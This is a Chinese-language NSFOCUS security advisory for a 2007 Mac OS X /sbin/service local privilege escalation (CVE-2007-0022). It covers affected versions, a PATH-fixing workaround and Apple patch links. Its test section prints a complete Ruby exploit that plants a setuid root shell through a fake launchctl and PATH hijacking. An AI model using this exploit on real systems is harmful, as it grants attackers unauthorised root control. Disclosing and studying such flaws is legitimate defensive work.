安全研究

安全漏洞
Apple Mac OS X /sbin/service本地权限提升漏洞

发布日期:2007-01-23
更新日期:2007-04-19

受影响系统:
Apple Mac OS X 10.4.9
Apple Mac OS X 10.4.8
Apple Mac OS X 10.3.9
Apple MacOS X Server 10.4.9
Apple MacOS X Server 10.4.8
Apple MacOS X Server 10.3.9
描述:
BUGTRAQ  ID: 22148
CVE(CAN) ID: CVE-2007-0022

Apple Mac OS X是苹果家族计算机所使用的操作系统。

Mac OS X的/sbin/service工具在调用其他程序时没有确认安全的运行环境,本地攻击者可能利用此漏洞提升自己的权限。

Mac OS X的writeconfig使用/sbin/service启动各种服务,但这个脚本在调用launchctl工具时没有过滤PATH环境变量。本地用户可以修改PATH指向恶意的launchctl程序导致以root用户权限执行任意二进制程序。

<*来源:Kevin Finisterre (dotslash@snosoft.com
        LMH (lmh@info-pull.com
  
  链接:http://secunia.com/advisories/23793/
        http://projects.info-pull.com/moab/MOAB-21-01-2007.html
        http://docs.info.apple.com/article.html?artnum=305391%3E
        http://www.us-cert.gov/cas/techalerts/TA07-109A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#                    Lance M. Havok   <lmh [at] info-pull.com>
# All pwnage reserved.
#
# "Exploit" for MOAB-21-01-2007: OS X, making root shells easier each day.
#

SHELL_WRAP      = 'int main() { system("/bin/sh -i"); return 0; }'
SHELL_PLANT     = 'int main() { system("chown root: /tmp/shX; chmod 4755 /tmp/shX"); return 0; }'
PREFS_BINPATH   = '/Applications/System\ Preferences.app/Contents/MacOS/System\ Preferences'

COMMAND_LINE    = "echo '#{SHELL_WRAP}' > /tmp/t.c &&"    +
                  "cc -o /tmp/shX /tmp/t.c &&"            +
                  "echo '#{SHELL_PLANT}' > /tmp/t.c &&"   +
                  "cc -o /tmp/launchctl /tmp/t.c &&"      +
                  'export PATH="/tmp/:$PATH" &&'          +
                  "#{PREFS_BINPATH} &"

def escalate()
  system COMMAND_LINE
  puts "++ Click on Sharing and then click on Windows Sharing..."
  sleep 30 # make sure you have "time"
  system "/tmp/shX"
end

escalate()

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 修改/sbin/service:

$ head /sbin/service
#!/bin/sh

set -e
export PATH="/bin:/sbin:/usr/sbin:/usr/bin"

# don't let people kill us. We shouldn't be long, so this isn't a big deal.

trap "" TSTP
trap "" HUP
trap "" INT

厂商补丁:

Apple
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=13655&cat=1&platform=osx&method=sa/SecUpdSrvr2007-004Pan.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=13657&cat=1&platform=osx&method=sa/SecUpd2007-004Pan.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=13659&cat=1&platform=osx&method=sa/SecUpd2007-004Univ.dmg

浏览次数:3293
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障